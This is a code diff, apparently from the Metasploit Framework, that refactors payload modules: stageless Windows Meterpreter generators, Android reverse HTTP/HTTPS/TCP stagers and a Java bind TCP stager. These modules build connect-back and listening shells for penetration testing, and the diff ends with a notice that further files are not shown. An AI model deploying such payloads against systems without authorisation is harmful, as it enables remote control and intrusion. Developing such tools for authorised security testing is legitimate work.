include Msf::Payload::Windows
@@ -40,8 +40,9 @@ module MetasploitModule
], self.class)
end
def generate
stage_meterpreter(true) + generate_config
def generate(opts={})
opts[:stageless] = true
stage_meterpreter(opts) + generate_config(opts)
end
def generate_config(opts={})
@@ -13,7 +13,7 @@ require 'rex/payloads/meterpreter/config'
module MetasploitModule
CachedSize = 1190467
CachedSize = 1190979
include Msf::Payload::TransportConfig
include Msf::Payload::Windows
@@ -40,13 +40,13 @@ module MetasploitModule
], self.class)
end
def generate
stage_meterpreter(true) + generate_config
def generate(opts={})
opts[:stageless] = true
stage_meterpreter(opts) + generate_config(opts)
end
def generate_config(opts={})
opts[:uuid] ||= generate_payload_uuid
opts[:stageless] = true
# create the configuration block
config_opts = {
@@ -13,7 +13,7 @@ require 'rex/payloads/meterpreter/config'
module MetasploitModule
CachedSize = 1190467
CachedSize = 1190979
include Msf::Payload::TransportConfig
include Msf::Payload::Windows
@@ -40,13 +40,13 @@ module MetasploitModule
], self.class)
end
def generate
stage_meterpreter(true) + generate_config
def generate(opts={})
opts[:stageless] = true
stage_meterpreter(opts) + generate_config(opts)
end
def generate_config(opts={})
opts[:uuid] ||= generate_payload_uuid
opts[:stageless] = true
# create the configuration block
config_opts = {
@@ -13,7 +13,7 @@ require 'rex/payloads/meterpreter/config'
module MetasploitModule
CachedSize = 1189423
CachedSize = 1189935
include Msf::Payload::TransportConfig
include Msf::Payload::Windows
@@ -41,8 +41,9 @@ module MetasploitModule
], self.class)
end
def generate
stage_meterpreter(true) + generate_config
def generate(opts={})
opts[:stageless] = true
stage_meterpreter(opts) + generate_config(opts)
end
def generate_config(opts={})
@@ -13,7 +13,7 @@ require 'rex/payloads/meterpreter/config'
module MetasploitModule
CachedSize = 1189423
CachedSize = 1189935
include Msf::Payload::TransportConfig
include Msf::Payload::Windows
@@ -40,8 +40,9 @@ module MetasploitModule
], self.class)
end
def generate
stage_meterpreter(true) + generate_config
def generate(opts={})
opts[:stageless] = true
stage_meterpreter(opts) + generate_config(opts)
end
def generate_config(opts={})
@@ -5,6 +5,7 @@
require 'msf/core'
require 'msf/core/handler/reverse_http'
require 'msf/core/payload/android/reverse_http'
require 'msf/core/payload/uuid/options'
module MetasploitModule
@@ -13,7 +14,7 @@ module MetasploitModule
include Msf::Payload::Stager
include Msf::Payload::Android
include Msf::Payload::UUID::Options
include Msf::Payload::Android::ReverseHttp
def initialize(info = {})
super(merge_info(info,
@@ -24,21 +25,8 @@ module MetasploitModule
'Platform' => 'android',
'Arch' => ARCH_DALVIK,
'Handler' => Msf::Handler::ReverseHttp,
'Convention' => 'javaurl',
'Stager' => {'Payload' => ''}
))
end
#
# Generate the transport-specific configuration
#
def transport_config(opts={})
transport_config_reverse_http(opts)
end
def generate_config_bytes(opts={})
uri_req_len = 30 + luri.length + rand(256 - (30 + luri.length))
opts[:uri] = generate_uri_uuid_mode(:init_java, uri_req_len)
super(opts)
end
end
@@ -5,6 +5,7 @@
require 'msf/core'
require 'msf/core/handler/reverse_https'
require 'msf/core/payload/android/reverse_https'
require 'msf/core/payload/uuid/options'
module MetasploitModule
@@ -13,7 +14,7 @@ module MetasploitModule
include Msf::Payload::Stager
include Msf::Payload::Android
include Msf::Payload::UUID::Options
include Msf::Payload::Android::ReverseHttps
def initialize(info = {})
super(merge_info(info,
@@ -24,21 +25,8 @@ module MetasploitModule
'Platform' => 'android',
'Arch' => ARCH_DALVIK,
'Handler' => Msf::Handler::ReverseHttps,
'Convention' => 'javaurl',
'Stager' => {'Payload' => ''}
))
end
#
# Generate the transport-specific configuration
#
def transport_config(opts={})
transport_config_reverse_https(opts)
end
def generate_config_bytes(opts={})
uri_req_len = 30 + luri.length + rand(256 - (30 + luri.length))
opts[:uri] = generate_uri_uuid_mode(:init_java, uri_req_len)
super(opts)
end
end
+12 -23
View File
@@ -3,40 +3,29 @@
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'metasploit-payloads'
require 'msf/core'
require 'msf/core/handler/reverse_tcp'
require 'msf/core/payload/transport_config'
require 'msf/base/sessions/command_shell'
require 'msf/base/sessions/command_shell_options'
require 'msf/core/payload/android/reverse_tcp'
module MetasploitModule
CachedSize = :dynamic
include Msf::Payload::Stager
include Msf::Payload::TransportConfig
include Msf::Payload::Android
include Msf::Payload::UUID::Options
include Msf::Payload::Android::ReverseTcp
def initialize(info = {})
super(merge_info(info,
'Name' => 'Android Reverse TCP Stager',
'Description' => 'Connect back stager',
'Author' => ['timwr', 'OJ Reeves'],
'License' => MSF_LICENSE,
'Platform' => 'android',
'Arch' => ARCH_DALVIK,
'Handler' => Msf::Handler::ReverseTcp,
'Stager' => {'Payload' => ''}
))
'Name' => 'Android Reverse TCP Stager',
'Description' => 'Connect back stager',
'Author' => ['mihi', 'egypt'],
'License' => MSF_LICENSE,
'Platform' => 'android',
'Arch' => ARCH_DALVIK,
'Handler' => Msf::Handler::ReverseTcp,
'Convention' => 'javasocket',
'Stager' => {'Payload' => ''}
))
end
#
# Generate the transport-specific configuration
#
def transport_config(opts={})
transport_config_reverse_tcp(opts)
end
end
+14 -45
View File
@@ -5,58 +5,27 @@
require 'msf/core'
require 'msf/core/handler/bind_tcp'
require 'msf/base/sessions/command_shell'
require 'msf/base/sessions/command_shell_options'
require 'msf/core/payload/java/bind_tcp'
module MetasploitModule
CachedSize = 5105
CachedSize = 5118
include Msf::Payload::Stager
include Msf::Payload::Java
include Msf::Payload::Java::BindTcp
def initialize(info = {})
def initialize(info={})
super(merge_info(info,
'Name' => 'Java Bind TCP Stager',
'Description' => 'Listen for a connection',
'Author' => [
'mihi', # all the hard work
'egypt', # msf integration
],
'License' => MSF_LICENSE,
'Platform' => 'java',
'Arch' => ARCH_JAVA,
'Handler' => Msf::Handler::BindTcp,
'Convention' => 'javasocket',
'Stager' => {'Payload' => ""}
))
register_advanced_options(
[
Msf::OptString.new('AESPassword', [ false, "Password for encrypting communication", '' ]),
Msf::OptInt.new('Spawn', [ true, "Number of subprocesses to spawn", 2 ])
], self.class
)
@class_files = [ ]
'Name' => 'Java Bind TCP Stager',
'Description' => 'Listen for a connection',
'Author' => ['mihi', 'egypt'],
'License' => MSF_LICENSE,
'Platform' => 'java',
'Arch' => ARCH_JAVA,
'Handler' => Msf::Handler::BindTcp,
'Convention' => 'javasocket',
'Stager' => {'Payload' => ''}
))
end
def config
spawn = datastore["Spawn"] || 2
c = ""
c << "Spawn=#{spawn}\n"
pass = datastore["AESPassword"] || ""
if pass != ""
c << "AESPassword=#{pass}\n"
@class_files = [
[ "metasploit", "AESEncryption.class" ],
]
else
@class_files = [ ]
end
c << "LPORT=#{datastore["LPORT"]}\n" if datastore["LPORT"]
c
end
end

Some files were not shown because too many files have changed in this diff Show More